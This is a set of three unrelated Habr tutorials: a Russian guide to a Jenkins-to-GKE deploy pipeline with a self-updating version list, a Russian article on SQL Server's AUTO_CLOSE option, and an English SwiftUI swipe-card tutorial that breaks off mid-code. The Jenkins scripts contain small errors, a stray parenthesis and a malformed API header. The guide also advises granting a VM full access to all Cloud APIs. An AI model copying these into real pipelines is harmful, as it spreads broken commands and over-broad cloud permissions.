Отвечаю: я правда ленивый, не люблю, когда жалуются: Миша, деплой крашится, все пропало! Начинаешь смотреть, а там опечатка в значении какого-нибудь параметра запуска задания. Поэтому предпочитаю все делать максимально фулпруфно. Если есть возможность лишить пользователя возможности вводить данные напрямую, дав вместо этого список значений для выбора, то я организовываю выбор.
План таков: создаем задание в Jenkins, в котором перед запуском можно было бы из списка выбрать версию, указать значения для параметров, передаваемых в контейнер через *ENV*, далее оно собирает контейнер и пушает его в Container Registry. Далее оттуда контейнер запускается в кубере как *workload* с параметрами, заданными в джобе.
Процесс создания и настройки задания в Jenkins'е рассматривать не будем, это оффтопик. Будем исходить из того, что задание готово. Для реализации обновляемого списка с версиями, нам нужны две вещи: уже имеющийся список-источник с априори валидными номерами версий и переменная типа *Choice parameter* в задании. В нашем примере пусть переменная будет носить имя *BUILD\_VERSION*, на ней останавливаться подробно не будем. А вот на списке-источнике давайте остановимся подробнее.
Вариантов не такое уж и множество. Мне сходу в голову пришли два:
* Использовать Remote access API, который предлагает Jenkins своим пользователям;
* Запрашивать содержимое удаленной папки репозитория (в нашем случае это JFrog Artifactory, что не принципиально).
### Jenkins Remote access API
По сложившейся прекрасной традиции предпочту избежать пространных объяснений.
Позволю себе лишь вольный перевод куска первого абзаца [первой страницы документации по API](https://www.jenkins.io/doc/book/using/remote-access-api/):
> Jenkins предоставляет API для удаленного машинно-понятного доступа к своему функционалу. <...> Удаленный доступ предлагается в REST'оподобном стиле. Это означает, что отсутствует единая точка входа ко всем возможностям, а вместо нее используется URL вида "**.../api/**", где "**...**" означает объект, к которому применяются возможности API.
Иными словами, если задание на деплой, о котором мы в данный момент говорим, доступно по адресу `http://jenkins.mybuild.er/view/AweSomeApp/job/AweSomeApp_build`, то API-свистульки для этого задания доступны по адресу `http://jenkins.mybuild.er/view/AweSomeApp/job/AweSomeApp_build**/api/**`
Далее у нас есть выбор, в каком виде получать вывод. Остановимся на XML, поскольку API только в этом случае позволяет использовать фильтрацию.
Давайте просто так попробуем получить список всех запусков задания. Нас интересует только имя сборки (*displayName*) и ее результат (*result*):
```
http://jenkins.mybuild.er/view/AweSomeApp/job/AweSomeApp_build/api/xml?tree=allBuilds[displayName,result]
```
Получилось?
Теперь отфильтруем только те запуски, которые в итоге с результатом *SUCCESS*. Используем аргумент *&exclude* и в качестве параметра передадим ему путь до значения не равного *SUCCESS*. Да-да. Двойное отрицание — это утверждение. Исключаем все то, что нас не интересует:
```
http://jenkins.mybuild.er/view/AweSomeApp/job/AweSomeApp_build/api/xml?tree=allBuilds[displayName,result]&exclude=freeStyleProject/allBuild[result!='SUCCESS']
```
**Скриншот списка успешных**
Ну и просто для баловства убедимся, что фильтр нас не обманул (фильтры же никогда не врут!) и выведем список «не-успешных»:
```
http://jenkins.mybuild.er/view/AweSomeApp/job/AweSomeApp_build/api/xml?tree=allBuilds[displayName,result]&exclude=freeStyleProject/allBuild[result='SUCCESS']
```
**Скриншот списка не-успешных**
### Список версий из папки на удаленном сервере
Есть и второй способ получить список версий. Он мне нравится даже больше, чем обращение к API Jenkins'а. Ну, потому что если приложение успешно собралось, значит его упаковали и положили в репозиторий в соответствующую папку. Типа, репозиторий это по умолчанию хранилище рабочих версий приложений. Типа. Ну вот и спросим у него, какие версии на храненнии. Удаленную папку будем curl'ить, grep'ать и awk'ать. Если кому-то интересен уанлайнер, то он под спойлером.
**Команда одной строкой**
Обратите внимание на две вещи: я передаю в заголовке реквизиты для подключения и мне не нужны прямо вообще все версии из папки, и я отбираю только те, что были созданы в течение месяца. Отредактируйте команду в соответствии с вашими реалиями и потребностями:
```
curl -H "X-JFrog-Art-Api:VeryLongAPIKey" -s http://arts.myre.po/artifactory/awesomeapp/ | sed 's/a href=//' | grep "$(date +%b)-$(date +%Y)\|$(date +%b --date='-1 month')-$(date +%Y)" | awk '{print $1}' | grep -oP '>\K[^/]+' )
```
### Настройка заданий и файл конфигурации задания в Jenkins
С источником списка версий разобрались. Давайте теперь полученный список вкрутим в задание. Для меня очевидным решением было добавить шаг в задании по сборке приложения. Шаг, который бы выполнялся в случае результата «успех».
Открываем настройки задания на сборку и скроллим в самый низ. Жмакаем на кнопочки: *Add build step -> Conditional step (single)*. В настройках шага выбираем условие *Current build status*, выставляем значение *SUCCESS*, выполняемое действие в случае успеха *Run shell command*.
И теперь самое интересное. Конфигурации заданий Jenkins хранит в файлах. В формате XML. По пути `http://путь-до-задания/config.xml` Соответственно, можно скачать файл с конфигурацией, отредактировать его нужным образом и положить на место, откуда взяли.
Помните, выше мы договорились, что для списка версий создадим параметр *BUILD\_VERSION*?
Давайте скачаем файл конфигурации и заглянем внутрь него. Просто чтобы убедиться, что параметр на месте и в самом деле нужного вида.
Скриншот под спойлером.
**У вас приведенный фрагмент config.xml должен выглядеть так же. За тем исключением, что содержимое элемента choices пока что отсутствует**
Убедились? Ну все, пишем скрипт, который будет выполняться в случае успешной сборки.
Скрипт будет получать список версий, скачивать файл конфигурации, писать в него в нужное нам место список версий, а потом класть его обратно. Да. Все верно. Писать список версий в XML'ку в то место, где уже есть список версий (будет в будущем, после первого запуска скрипта). Я знаю, в мире еще живут лютые любители регулярных выражений. Я к ним не отношусь. Установите, пожалуйста, **[xmlstarler](http://xmlstar.sourceforge.net/)** на ту машину, где будет редактироваться конфиг. Мне кажется, это не такая уж и большая плата за то, чтобы избежать редактирования XML с помощью sed'а.
Под спойлером привожу код, выполняющий вышеописанную последовательность целиком.
**Пишем в конфиг список версий из папки на удаленном сервере**
```
#!/bin/bash
############## Скачиваем конфиг
curl -X GET -u username:apiKey http://jenkins.mybuild.er/view/AweSomeApp/job/AweSomeApp_k8s/config.xml -o appConfig.xml
############## Удаляем и заново создаем xml-элемент для списка версий
xmlstarlet ed --inplace -d '/project/properties/hudson.model.ParametersDefinitionProperty/parameterDefinitions/hudson.model.ChoiceParameterDefinition[name="BUILD_VERSION"]/choices[@class="java.util.Arrays$ArrayList"]/a[@class="string-array"]' appConfig.xml
xmlstarlet ed --inplace --subnode '/project/properties/hudson.model.ParametersDefinitionProperty/parameterDefinitions/hudson.model.ChoiceParameterDefinition[name="BUILD_VERSION"]/choices[@class="java.util.Arrays$ArrayList"]' --type elem -n a appConfig.xml
xmlstarlet ed --inplace --insert '/project/properties/hudson.model.ParametersDefinitionProperty/parameterDefinitions/hudson.model.ChoiceParameterDefinition[name="BUILD_VERSION"]/choices[@class="java.util.Arrays$ArrayList"]/a' --type attr -n class -v string-array appConfig.xml
############## Читаем в массив список версий из репозитория
readarray -t vers < <( curl -H "X-JFrog-Art-Api:Api:VeryLongAPIKey" -s http://arts.myre.po/artifactory/awesomeapp/ | sed 's/a href=//' | grep "$(date +%b)-$(date +%Y)\|$(date +%b --date='-1 month')-$(date +%Y)" | awk '{print $1}' | grep -oP '>\K[^/]+' )
############## Пишем массив элемент за элементом в конфиг
printf '%s\n' "${vers[@]}" | sort -r | \
while IFS= read -r line
do
xmlstarlet ed --inplace --subnode '/project/properties/hudson.model.ParametersDefinitionProperty/parameterDefinitions/hudson.model.ChoiceParameterDefinition[name="BUILD_VERSION"]/choices[@class="java.util.Arrays$ArrayList"]/a[@class="string-array"]' --type elem -n string -v "$line" appConfig.xml
done
############## Кладем конфиг взад
curl -X POST -u username:apiKey http://jenkins.mybuild.er/view/AweSomeApp/job/AweSomeApp_k8s/config.xml --data-binary @appConfig.xml
############## Приводим рабочее место в порядок
rm -f appConfig.xml
```
Если вам больше понравился вариант с получением версий из Jenkins'а и вы так же ленивы, как я, то под спойлером тот же самый код, но список из Jenkins'а:
**Пишем в конфиг список версий из Jenkins'а**
Только учтите момент: у меня имя сборки состоит из порядкового номера и номера версии, разделенных двоеточием. Соответственно, awk отрезает ненужную часть. Для себя эту строку измените под ваши нужды.
```
#!/bin/bash
############## Скачиваем конфиг
curl -X GET -u username:apiKey http://jenkins.mybuild.er/view/AweSomeApp/job/AweSomeApp_k8s/config.xml -o appConfig.xml
############## Удаляем и заново создаем xml-элемент для списка версий
xmlstarlet ed --inplace -d '/project/properties/hudson.model.ParametersDefinitionProperty/parameterDefinitions/hudson.model.ChoiceParameterDefinition[name="BUILD_VERSION"]/choices[@class="java.util.Arrays$ArrayList"]/a[@class="string-array"]' appConfig.xml
xmlstarlet ed --inplace --subnode '/project/properties/hudson.model.ParametersDefinitionProperty/parameterDefinitions/hudson.model.ChoiceParameterDefinition[name="BUILD_VERSION"]/choices[@class="java.util.Arrays$ArrayList"]' --type elem -n a appConfig.xml
xmlstarlet ed --inplace --insert '/project/properties/hudson.model.ParametersDefinitionProperty/parameterDefinitions/hudson.model.ChoiceParameterDefinition[name="BUILD_VERSION"]/choices[@class="java.util.Arrays$ArrayList"]/a' --type attr -n class -v string-array appConfig.xml
############## Пишем в файл список версий из Jenkins
curl -g -X GET -u username:apiKey 'http://jenkins.mybuild.er/view/AweSomeApp/job/AweSomeApp_build/api/xml?tree=allBuilds[displayName,result]&exclude=freeStyleProject/allBuild[result!=%22SUCCESS%22]&pretty=true' -o builds.xml
############## Читаем в массив список версий из XML
readarray vers < <(xmlstarlet sel -t -v "freeStyleProject/allBuild/displayName" builds.xml | awk -F":" '{print $2}')
############## Пишем массив элемент за элементом в конфиг
printf '%s\n' "${vers[@]}" | sort -r | \
while IFS= read -r line
do
xmlstarlet ed --inplace --subnode '/project/properties/hudson.model.ParametersDefinitionProperty/parameterDefinitions/hudson.model.ChoiceParameterDefinition[name="BUILD_VERSION"]/choices[@class="java.util.Arrays$ArrayList"]/a[@class="string-array"]' --type elem -n string -v "$line" appConfig.xml
done
############## Кладем конфиг взад
curl -X POST -u username:apiKey http://jenkins.mybuild.er/view/AweSomeApp/job/AweSomeApp_k8s/config.xml --data-binary @appConfig.xml
############## Приводим рабочее место в порядок
rm -f appConfig.xml
```
По идее, если вы протестировали код, написанный на основе примеров выше, то в задании на деплой у вас уже должен появиться выпадающий список с версиями. Вот примерно как на скриншоте под спойлером.
**Корректно заполненный список версий**
Если все отработало, то копипастите скрипт в *Run shell command* и сохраняйте изменения.
### Подключение к Cloud shell
Сборщики у нас в контейнерах. В качестве средства доставки приложений и менеджера конфигураций мы используем Ansible. Соответственно, когда речь заходит о сборке контейнеров, вариантов в голову приходит три: установить Docker в Docker'е, установить Docker на машину с Ansible'ом, либо собирать контейнеры в облачной консоли. Про плагины для Jenkins мы договорились в этой заметке молчать. Помните?
Я решил: ну, раз контейнеры «из коробки» можно собирать в облачной консоли, то зачем городить огород? Keep it clean, верно? Хочу собирать контейнеры Jenkins'ом в облачной консоли, а потом оттуда же пулять их в кубер. Тем более, что внутри инфраструктуры у гугла ну ооочень жирные каналы, что благоприятно скажется на скорости деплоя.
Для подключения к облачной консоли необходимы две вещи: *gcloud* и права доступа к *Google Cloud API* для того экземпляра ВМ, с которой будет это самое подключение осуществляться.
**Для тех, кто планирует подключаться вообще не из гуглового облака**
Гугл допускает возможность отключения интерактивной авторизации в своих сервисах. Это позволит подключаться к консоли хоть с кофемашины, коли она под \*nix'ами и у нее самой есть консоль.
Если есть потребность в том, чтобы я осветил этот вопрос подробнее в рамках этой заметки — пишите в комментариях. Наберется достаточное количество голосов — напишу апдейт по этой теме.
Простейший способ дать права — через веб-интерфейс.
1. Остановите экземпляр ВМ, с которого в дальнейшем будет выполняться подключение к облачной консоли.
2. Откройте Сведения экземпляра и нажмите *Изменить*.
3. В самом низу страницы выберите область действия доступа экземпляра *Полный доступ ко всем Cloud API*.
**Скриншот**
4. Сохраните изменения и запустите экземпляр.
По окончании загрузки ВМ, подключитесь к ней по SSH и убедитесь, что подключение происходит без ошибки. Воспользуйтесь командой:
```
gcloud alpha cloud-shell ssh
```
**Успешное подключение выглядит примерно так**
### Деплой в GKE
Поскольку мы всячески стремимся полностью перейти на IaC (Infrastucture as a Code), докерфайлы у нас хранятся в гите. Это с одной стороны. А деплой в kubernetes описывается yaml-файлом, который используется только данным заданием, который сам по себе тоже как бы код. Это с другой стороны. В общем, я к тому, что план таков:
1. Берем значения переменных *BUILD\_VERSION* и, опционально, значения переменных, которые будут переданы через *ENV*.
2. Качаем из гита докерфайл.
3. Генерируем yaml для деплоя.
4. Заливаем оба этих файла по scp в облачную консоль.
5. Билдим там контейнер и пушаем его в Container registry
6. Применяем файл деплоя нагрузки в кубер.
Давайте более конкретно. Раз заговорили об *ENV*, то предположим, нам надо будет передавать значения двух параметров: *PARAM1* и *PARAM2*. Добавляем их задание на деплой, тип — *String Parameter*.
**Скриншот**
Генерировать yaml будем простым перенаправлением *echo* в файл. Предполагатся, разумеется, что в докерфайле у вас присутcnвуют *PARAM1* и *PARAM2*, что имя нагрузки будет *awesomeapp*, а собранный контейнер с приложением указанной версии лежит в *Container registry* по пути *gcr.io/awesomeapp/awesomeapp-**$BUILD\_VERSION***, где ***$BUILD\_VERSION*** как раз и был выбран из выпадающего списка.
**Листинг команд**
```
touch deploy.yaml
echo "apiVersion: apps/v1" >> deploy.yaml
echo "kind: Deployment" >> deploy.yaml
echo "metadata:" >> deploy.yaml
echo " name: awesomeapp" >> deploy.yaml
echo "spec:" >> deploy.yaml
echo " replicas: 1" >> deploy.yaml
echo " selector:" >> deploy.yaml
echo " matchLabels:" >> deploy.yaml
echo " run: awesomeapp" >> deploy.yaml
echo " template:" >> deploy.yaml
echo " metadata:" >> deploy.yaml
echo " labels:" >> deploy.yaml
echo " run: awesomeapp" >> deploy.yaml
echo " spec:" >> deploy.yaml
echo " containers:" >> deploy.yaml
echo " - name: awesomeapp" >> deploy.yaml
echo " image: gcr.io/awesomeapp/awesomeapp-$BUILD_VERSION:latest" >> deploy.yaml
echo " env:" >> deploy.yaml
echo " - name: PARAM1" >> deploy.yaml
echo " value: $PARAM1" >> deploy.yaml
echo " - name: PARAM2" >> deploy.yaml
echo " value: $PARAM2" >> deploy.yaml
```
Агенту Jenkins'а после подключения с помощью *gcloud alpha cloud-shell ssh* интерактивный режим не доступен, поэтому передаем команды в облачную консоль с помощью параметра *--command*.
Чистим домашнюю папку в облачной консоли от старого докерфайла:
```
gcloud alpha cloud-shell ssh --command="rm -f Dockerfile"
```
Кладем свежескаченный докерфайл в домашнюю папку облачной консоли с помощью scp:
```
gcloud alpha cloud-shell scp localhost:./Dockerfile cloudshell:~
```
Собираем, тегируем и пушаем контейнер в Container registry:
```
gcloud alpha cloud-shell ssh --command="docker build -t awesomeapp-$BUILD_VERSION ./ --build-arg BUILD_VERSION=$BUILD_VERSION --no-cache"
gcloud alpha cloud-shell ssh --command="docker tag awesomeapp-$BUILD_VERSION gcr.io/awesomeapp/awesomeapp-$BUILD_VERSION"
gcloud alpha cloud-shell ssh --command="docker push gcr.io/awesomeapp/awesomeapp-$BUILD_VERSION"
```
Аналогичным образом поступаем с файлом деплоя. Обратите внимания, что в командах ниже используются вымышленные имена кластера, куда происходит деплой (*awsm-cluster*) и имя проекта (*awesome-project*), где находется кластер.
```
gcloud alpha cloud-shell ssh --command="rm -f deploy.yaml"
gcloud alpha cloud-shell scp localhost:./deploy.yaml cloudshell:~
gcloud alpha cloud-shell ssh --command="gcloud container clusters get-credentials awsm-cluster --zone us-central1-c --project awesome-project && \
kubectl apply -f deploy.yaml"
```
Запускаем задание, открываем вывод консоли и надеемся увидеть успешную сборку контейнера.
**Скриншот**
А далее и успешный деплой собранного контейнера
**Скриншот**
Я умышленно обошел вниманием настройку *Ingress*. По одной простой причине: однажды настроив его на *workload* с заданным именем, он останется работоспособным, сколько деплоев с этим именем ни проводи. Ну и вообще, это немного за рамками истории.
### Вместо выводов
Все приведенные выше шаги, наверное, можно было не делать, а просто установить какой-нибудь плагин для Jenkins'а, их мууульон. Но я почему-то не люблю плагины. Ну, точнее, прибегаю к ним только от безысходности.
А еще мне просто нравится расковырять какую-нибудь новую для меня тему. Текст выше — в том числе и способ поделиться находками, которые я сделал, решая описанную в самом начале задачу. Поделиться с теми, кто, как и, вовсе не лютый волк в девопсе. Если хотя бы кому-то мои находки помогут — буду доволен. | https://habr.com/ru/post/514548/ | null | ru | null |
# AUTO_CLOSE
Если бы *SQL Server* существовал во времена Инквизиции, то за включение некоторых опций на продакшен серверах нужно было бы наказывать калёным железом. Но если отбросить лирику, то далее на рассмотрим почему не нужно включать *AUTO\_CLOSE* и к чему может привести использование этой опции.
Собственно, как и любая интересная истории из жизни, все начиналось с рутиной задачи.
На днях пришлось заглянуть в *Error Log* на тестовом сервере. На второй минуте ожидания, *SSMS* изрядно поплохело от обилия сообщений, которые хранил журнал, и я решил посмотреть сколько же весят логи с помощью *xp\_enumerrorlogs*:
```
DECLARE @t TABLE (lod_id INT PRIMARY KEY, last_log SMALLDATETIME, size INT)
INSERT INTO @t
EXEC sys.xp_enumerrorlogs
SELECT lod_id, last_log, size_mb = size / 1048576.
FROM @t
```
```
lod_id last_log size_mb
-------- --------------------- ---------------
0 2016-01-05 08:46:00 567.05288505
1 2015-12-31 12:53:00 1370.39249420
2 2015-12-18 11:32:00 768.46394729
3 2015-12-02 13:54:00 220.20050621
4 2015-12-02 13:16:00 24.04152870
5 2015-11-16 13:37:00 80.07946205
6 2015-10-22 12:13:00 109.33527946
```
Как правило, на тестовых серверах я стараюсь не бороться с размером журнала, поскольку при каждом старте *SQL Server*-а происходит циклическая смена файлов журнала: текущий журнал *errorlog* переименовывается в *errorlog.1*, создается пустой файл *errorlog* и удаляется самый старый журнал *errorlog.6*.
В случае, когда возникает необходимо очистить журналы, то на помощь может прийти *sp\_cycle\_errorlog*. Но перед тем как очистить журналы, все же захотелось понять, что в них такого интересного записано.
Выполнил чтение из текущего журнала с помощью хранимой процедуры *xp\_readerrorlog*:
```
EXEC sys.xp_readerrorlog
```
И тут моему периферийному зрению попались на глаза многочисленные сообщения:
```
Starting up database '...'.
```
С одной стороны, в этом нет ничего плохого. При каждом старте *SQL Server* открывает файлы данных и проверяет загрузочную страницу:
```
Starting up database '...'.
CHECKDB for database '...' finished without errors on ... (local time).
```
Но после того как я отфильтровал по искомому сообщению, результаты выборки заставили задуматься:
```
DECLARE @t TABLE (log_date SMALLDATETIME, spid VARCHAR(50), msg NVARCHAR(4000))
INSERT INTO @t
EXEC sys.xp_readerrorlog 0, 1, N'Starting up database'
SELECT msg, COUNT_BIG(1)
FROM @t
GROUP BY msg
HAVING COUNT_BIG(1) > 1
ORDER BY 2 DESC
```
```
------------------------------------------------------ --------------------
Starting up database 'AUTOTEST_DESCRIBER'. 127723
Starting up database 'MANUAL_DESCRIBER'. 12913
Starting up database 'AdventureWorks2012'. 12901
```
Большое количество такого рода сообщений может возникать из-за включения опции *AUTO\_CLOSE*.
Согласно документации, при включении опции *AUTO\_CLOSE* база данных будет автоматически закрываться и высвобождать все занимаемые ею ресурсы, когда перестает существовать последнее пользовательское соединение использующее эту БД. При повторном обращении база будет автоматически переоткрываться… и так до бесконечности.
Когда-то давно читал, что на физическом уровне операция *AUTO\_CLOSE* для старых версий *SQL Server* являлась полностью синхронным процессом, который мог вызывать большие задержки при постоянных переоткрытиях файлов БД. Начиная с *SQL Server 2005*, *AUTO\_CLOSE* стал асинхронным и часть проблем ушла. А что осталось? Достаточно всего, чтобы не пользоваться этой опцией…
Для оптимизации производительности *SQL Server* выполняет изменения страниц в буферном кеше и не записывает эти страницы на диск после каждой модификации. Вместо этого *SQL Server* периодически создает контрольную точку, по которой записывает текущие страницы, измененные в памяти, вместе со сведениями журнала транзакций из памяти на диск. При закрытии базы данных автоматически выполняется *CHECKPOINT*. Соответственно при постоянных закрытиях БД может сильно возрастать дисковая нагрузка.
Также при каждом закрытии базы данных очищается её процедурный кеш. Соответственно, когда база повторно откроется придётся генерировать планы выполнения по новой. Но что еще печальнее… при закрытии очищается также и буферный кеш, что увеличивает дисковую нагрузку при выполнении запросов.
*Microsoft* со мной [солидарна](https://technet.microsoft.com/en-us/library/bb402929.aspx) и также не рекомендует включать *AUTO\_CLOSE*:
*When AUTO\_CLOSE is set ON, this option can cause performance degradation on frequently accessed databases because of the increased overhead of opening and closing the database after each connection. AUTO\_CLOSE also flushes the procedure cache after each connection.*
Однако есть пара нюансов. Если Вы используете *SQL Server 2000* или любую *Express* редакцию, то при создании новой базы данных, опция *AUTO\_CLOSE* будет неявно включаться:
```
USE [master]
GO
IF DB_ID('test') IS NOT NULL
DROP DATABASE [test]
GO
CREATE DATABASE [test]
GO
SELECT is_auto_close_on
FROM sys.databases
WHERE database_id = DB_ID('test')
```
```
is_auto_close_on
----------------
1
```
Браво *Microsoft*! Стоячие овации…
Хотя если посмотреть с другой стороны, для *SQL Server Express* такое поведение вполне объяснимо, поскольку в рамках этой редакции существует ограничение на размер используемой ОЗУ – не более 1 Гб.
Но на будущее, если вдруг потребуется разворачивать базу данных с помощью скрипта, лучше перестраховаться и явно отключать *AUTO\_CLOSE*:
```
ALTER DATABASE [test] SET AUTO_CLOSE OFF
```
В процессе работы я заметил еще один интересный момент – при обращении к некоторым функциям или системным представлениям, все базы данных с включенной опцией *AUTO\_CLOSE* будут открываться:
```
USE [master]
GO
IF DB_ID('p1') IS NOT NULL
DROP DATABASE [p1]
GO
CREATE DATABASE [p1]
GO
ALTER DATABASE [p1] SET AUTO_CLOSE ON
GO
IF DB_ID('p2') IS NOT NULL
DROP DATABASE [p2]
GO
CREATE DATABASE [p2]
GO
ALTER DATABASE [p2] SET AUTO_CLOSE ON
GO
EXEC sys.xp_readerrorlog 0, 1, N'Starting up database ''p'
GO
```
```
LogDate ProcessInfo Text
----------------------- ------------ ----------------------------------
2016-01-25 17:36:40.310 spid53 Starting up database 'p1'.
2016-01-25 17:36:41.980 spid53 Starting up database 'p2'.
```
Мы обращаемся к *p1*:
```
WAITFOR DELAY '00:03'
GO
SELECT DB_ID('p1')
GO
EXEC sys.xp_readerrorlog 0, 1, N'Starting up database ''p'
```
Но *p2* тоже просыпается «за компанию»:
```
LogDate ProcessInfo Text
----------------------- ------------ ----------------------------------
2016-01-25 17:36:40.310 spid53 Starting up database 'p1'.
2016-01-25 17:36:41.980 spid53 Starting up database 'p2'.
2016-01-25 17:39:17.440 spid52 Starting up database 'p1'.
2016-01-25 17:39:17.550 spid52 Starting up database 'p2'.
```
И вот наконец мы докопались до истины. На сервере различные пользователи активно обращались к метаданным… это заставляло просыпаться базы данных с включенным *AUTO\_CLOSE*, что в свою очередь неявно вызывало рост журнала.
Превентивные меры, кстати, вышли очень простыми:
```
DECLARE @SQL NVARCHAR(MAX)
SELECT @SQL = (
SELECT '
ALTER DATABASE ' + QUOTENAME(name) + ' SET AUTO_CLOSE OFF WITH NO_WAIT;'
FROM sys.databases
WHERE is_auto_close_on = 1
FOR XML PATH(''), TYPE).value('.', 'NVARCHAR(MAX)')
EXEC sys.sp_executesql @SQL
```
*Все тестировалось на Microsoft SQL Server 2012 (SP3) (KB3072779) — 11.0.6020.0 (X64).*
Если хотите поделиться этой статьей с англоязычной аудиторией:
[Enabling AUTO\_CLOSE is a bad idea?](http://blog.devart.com/enabling-auto_close-is-a-bad-idea.html) | https://habr.com/ru/post/275873/ | null | ru | null |
# How to Implement Tinder Swipe Cards in SwiftUI
In June, we heard about [SwiftUI](https://www.iosapptemplates.com/blog/ios-development/swiftui-introduction) for the first time — a totally new way of creating and working with UI elements in iOS and macOS (also iPadOS) apps. It felt like Christmas in the summer. It's new, it's declarative, it's sexy! And now, just a few weeks after iOS 13 has been released, we can start to use SwiftUI in all our projects. Let's learn how to use this amazing tool that Apple gave us, to create the classic Tinder-esque Swipe Cards.
In this article, I would like to show you how to achieve a Tinder-like card view and behavior (swipe to action), with just a few lines of code.
To achieve this, we need to do the following things, in order:
* Create UserView
* Create NavigationView
* Create BottomBarView
* Create SwipeView
* Put all this together inside ContentView
So let's get started.
UserView
--------
UserView is built from two subviews, one is *NameView* which contains the user name, age, and hobbies, and the second view is just an avatar view that displays the user's profile picture.
```
struct NameView: View {
let name: String
let age: Int
let hobby: String
var body: some View {
VStack(alignment: .leading) {
Spacer()
Text("\(name), \(age)")
.font(.title)
.fontWeight(.semibold)
.foregroundColor(.white)
Text(hobby)
.font(.system(size: 16))
.fontWeight(.regular)
.foregroundColor(.white)
}
.padding()
}
}
```
First, we need to define the *NameView*, this will represent the user name, age, and hobby. *NameView* is conforming to the *View* protocol, which is used to define custom views in SwiftUI. The view protocol has only one requirement and that's defining the body property which should return the view structure and describes its behavior. You can check more about the *View* protocol in the official [Apple documentation](https://developer.apple.com/documentation/swiftui/view).
Let's break down the objects that we use to define this *View*:
* *VStack* which acts like a container for all the objects aligning them vertically
* *Spacer* that tells SwiftUI that this view should be aligned on the bottom
* *Text* which represents the label with name & age, with the following properties:
* Second Text object that has similar properties and displays the user's hobby
Please notice that we are not using a return statement here, inside the body property, but instead we are returning a VStack. SwiftUI is using the omit-return proposal implemented in Swift 5.0. You can check more about this [here](https://github.com/apple/swift-evolution/blob/master/proposals/0255-omit-return.md).
AvatarView
----------
This is how *AvatarView* is defined:
```
struct AvatarView: View {
let image: UIImage
var body: some View {
Image(uiImage: image)
.resizable()
.overlay(
Rectangle()
.fill(LinearGradient(gradient: Gradient(colors: [.clear, .black]),
startPoint: .center, endPoint: .bottom))
.clipped()
)
.cornerRadius(12.0)
}
}
```
Let's dive into the components that are making this avatar unit:
* *Image* — which displays the user's picture
* *resizable* — this method specifies that the image should resize to fit into the place where it's embedded
* *overlay(Rectangle)* — here we are defining gradient that will be a nice background for NameView, this gradient starts at image center and finishes at the bottom, it has clear color at the start and black at the bottom
* *cornerRadius* — the picture will have a cornered radius
And now let's embed these two views into a single container view, named *UserView*.
UserView
--------
```
struct UserView: View {
let userModel: UserModel
var body: some View {
ZStack(alignment: .leading) {
AvatarView(image: userModel.image)
NameView(name: userModel.name, age: userModel.age, hobby: userModel.hobby)
}
.shadow(radius: 12.0)
.cornerRadius(12.0)
}
}
```
Here's what's going on:
* *ZStack* — This is a stack view that will align its children's on the same axis. You can read more about ZStack [here](https://developer.apple.com/documentation/swiftui/zstack)
* *AvatarView* — Our avatar view containing the image provided via *UserModel*
* *NameView* — Our name view displaying the name based on the user model
After all these steps, run the app. You will get the following screen:
Let’s add a small helper method now. Before I show you how NavigationView is defined, let's create a helper method, which looks like this:
```
struct ViewFactory {
static func button(_ name: String, renderingMode: Image.TemplateRenderingMode = .original) -> some View {
Button(action: {}) {
Image(name)
.renderingMode(renderingMode)
}
}
}
```
Here, we have defined a button factory method, that creates a new button from a given image and a rendering mode. There is no action handler, since that falls out of scope for this article.
NavigationView
--------------
```
struct NavigationView: View {
var body: some View {
HStack {
ViewFactory.button("profile_icon")
Spacer()
ViewFactory.button("fire_icon")
.scaleEffect(2)
Spacer()
ViewFactory.button("chat_icon")
}
}
}
```
SwiftUI will automatically make the *Spacers* of equal width, and it will give us the following navigation view:
BottomBarView
-------------
```
struct BottomBarView: View {
var body: some View {
HStack {
ViewFactory.button("back_icon", renderingMode: .template)
.foregroundColor(.orange)
.background(
GeometryReader { geometry in
Circle()
.offset(x: 2.5)
.foregroundColor(.white)
.shadow(color: .gray, radius: 12)
.frame(width: geometry.size.width * 1.5, height: geometry.size.height * 1.5)
}
)
Spacer()
...
}
```
In the above code snippet, we've defined the first button from our bar view. Here's what's going on:
* ViewFactory.button — here we are using our helper method to define button with image with renderingMode .template which allows you to put a custom color for this image
* *.foregroundColor* — defining the color of our view
* *.background* — this method defines the given object's background view
* *GeometryReader* — a container view that defines its content as a function of its own size and coordinate space. We are using this to get the current size of a button and define the background circle with the given frame. Learn more about Geometry Readers [here](https://developer.apple.com/documentation/swiftui/geometryreader).
* *Circle* — defines the background shape
* *.offset* — circle x-axis offset
* *.foregroundColor* — circle tint color
* *.shadow* — circle shadow
* *.frame* — defines the circle frame using the geometry reader's size (here we are defining a background circle, 1.5x bigger than the current button)
Now let's implement the rest of the buttons:
```
struct BottomBarView: View {
var body: some View {
HStack {
ViewFactory.button("back_icon", renderingMode: .template)
.foregroundColor(.orange)
.background(
GeometryReader { geometry in
Circle()
.offset(x: 2.5)
.foregroundColor(.white)
.shadow(color: .gray, radius: 12)
.frame(width: geometry.size.width * 1.5, height: geometry.size.height * 1.5)
}
)
Spacer()
ViewFactory.button("close_icon", renderingMode: .template)
.foregroundColor(.red)
.background(
GeometryReader { geometry in
Circle().foregroundColor(.white)
.frame(width: geometry.size.width * 2, height: geometry.size.height * 2)
.shadow(color: .gray, radius: 12)
}
)
Spacer()
ViewFactory.button("approve_icon", renderingMode: .template)
.foregroundColor(.green)
.background(
GeometryReader { geometry in
Circle()
.foregroundColor(.white)
.shadow(color: .gray, radius: 12)
.frame(width: geometry.size.width * 2, height: geometry.size.height * 2)
}
)
Spacer()
ViewFactory.button("boost_icon", renderingMode: .template)
.foregroundColor(.purple)
.background(
GeometryReader { geometry in
Circle()
.foregroundColor(.white)
.shadow(color: .gray, radius: 12)
.frame(width: geometry.size.width * 1.5, height: geometry.size.height * 1.5)
}
)
}
.padding([.leading, .trailing])
}
}
```
And as a result we now have this beautiful view:
SwipeView
---------
This section is for more advanced SwiftUI. This is really where things get interesting. We would like to implement the swipe gesture on the action view. This behavior is a nice use case for a PageViewController, but this view controller will be history soon, so this is where we can show the real power of SwiftUI.
So let's see how SwipeView is implemented:
```
struct SwipeView: View {
@State private var offset: CGFloat = 0
@State private var index = 0
let users = [...]
let spacing: CGFloat = 10
var body: some View {
GeometryReader { geometry in
return ScrollView(.horizontal, showsIndicators: true) {
HStack(spacing: self.spacing) {
ForEach(self.users) { user in
UserView(userModel: user)
.frame(width: geometry.size.width)
}
}
}
.content.offset(x: self.offset)
.frame(width: geometry.size.width, alignment: .leading)
.gesture(
DragGesture()
.onChanged({ value in
self.offset = value.translation.width - geometry.size.width * CGFloat(self.index)
})
.onEnded({ value in
if -value.predictedEndTranslation.width > geometry.size.width / 2, self.index < self.users.count - 1 {
